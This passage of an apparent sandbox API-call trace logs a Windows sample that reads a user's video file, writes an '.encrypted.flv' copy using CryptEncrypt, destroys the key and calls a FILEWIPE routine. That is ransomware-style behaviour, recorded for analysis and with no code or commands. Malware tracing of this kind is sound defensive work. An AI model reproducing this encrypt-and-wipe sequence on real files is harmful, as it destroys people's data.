wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.172] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.172] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\m9Y1DiBTGN1A.flv" (normalized: "c:\\users\\5jghkoaofdp\\videos\\mmzl\\m9y1dibtgn1a.flv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0029.172] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0029.172] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0029.172] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.172] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.172] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.173] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\" (normalized: "c:\\users\\5jghkoaofdp\\videos\\mmzl")) returned 0x10 [0029.173] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\m9Y1DiBTGN1A.encrypted.flv" (normalized: "c:\\users\\5jghkoaofdp\\videos\\mmzl\\m9y1dibtgn1a.encrypted.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0029.173] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.173] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.173] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.173] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.174] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0029.174] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x4961, lpOverlapped=0x0) returned 1 [0029.175] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0029.177] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.177] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.177] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.177] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0029.177] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.178] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.178] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0029.178] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.178] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0029.178] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.178] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.178] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.178] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0029.179] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.179] CryptGetKeyParam (in: hKey=0xe8f4062330, dwParam=0x7, pbData=0xe8f4064ae0, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064ae0*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0029.179] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.179] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.179] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.179] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.179] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.179] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.179] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.179] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.179] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0029.179] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.179] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.179] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0029.179] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.179] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.179] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0029.180] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.180] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.180] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.180] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.180] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.180] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.180] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.180] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.180] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.180] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.180] CryptEncrypt (in: hKey=0xe8f4062330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x4961, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x4970) returned 1 [0029.180] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.180] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.180] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.180] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.180] CharLowerBuffW (in: lpsz="byte[18801]", cchLength=0xb | out: lpsz="byte[18801]") returned 0xb [0029.180] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.180] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.180] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.181] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.181] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.181] CryptEncrypt (in: hKey=0xe8f4062330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f4383310*, pdwDataLen=0xe8f3dfdf68*=0x4961, dwBufLen=0x4970 | out: pbData=0xe8f4383310*, pdwDataLen=0xe8f3dfdf68*=0x4970) returned 1 [0029.181] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.181] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.181] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.181] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.181] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.181] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.181] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0029.181] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.181] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0029.181] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.181] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.181] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.181] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.181] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0029.181] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.181] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.181] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.181] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.181] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.181] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.182] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.182] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.182] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0029.182] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.182] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.182] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0029.182] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.182] CryptDestroyKey (hKey=0xe8f4062330) returned 1 [0029.182] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.182] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.182] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0029.182] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0029.182] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0029.182] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0029.183] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0029.183] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0029.183] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.183] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0029.183] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0029.183] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0029.183] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.183] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.183] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.183] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0029.183] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.183] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0029.183] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.183] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.183] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.183] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.183] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0029.183] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.183] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.183] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0029.183] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0029.183] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0029.183] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.183] CryptReleaseContext (hProv=0xe8f40633e0, dwFlags=0x0) returned 1 [0029.183] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.183] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.183] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0029.183] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.183] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.184] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.184] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.185] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.185] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.185] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0029.185] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.185] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.185] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.185] CharLowerBuffW (in: lpsz="byte[18785]", cchLength=0xb | out: lpsz="byte[18785]") returned 0xb [0029.185] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.185] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0029.185] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.185] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0029.185] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.185] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.185] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, 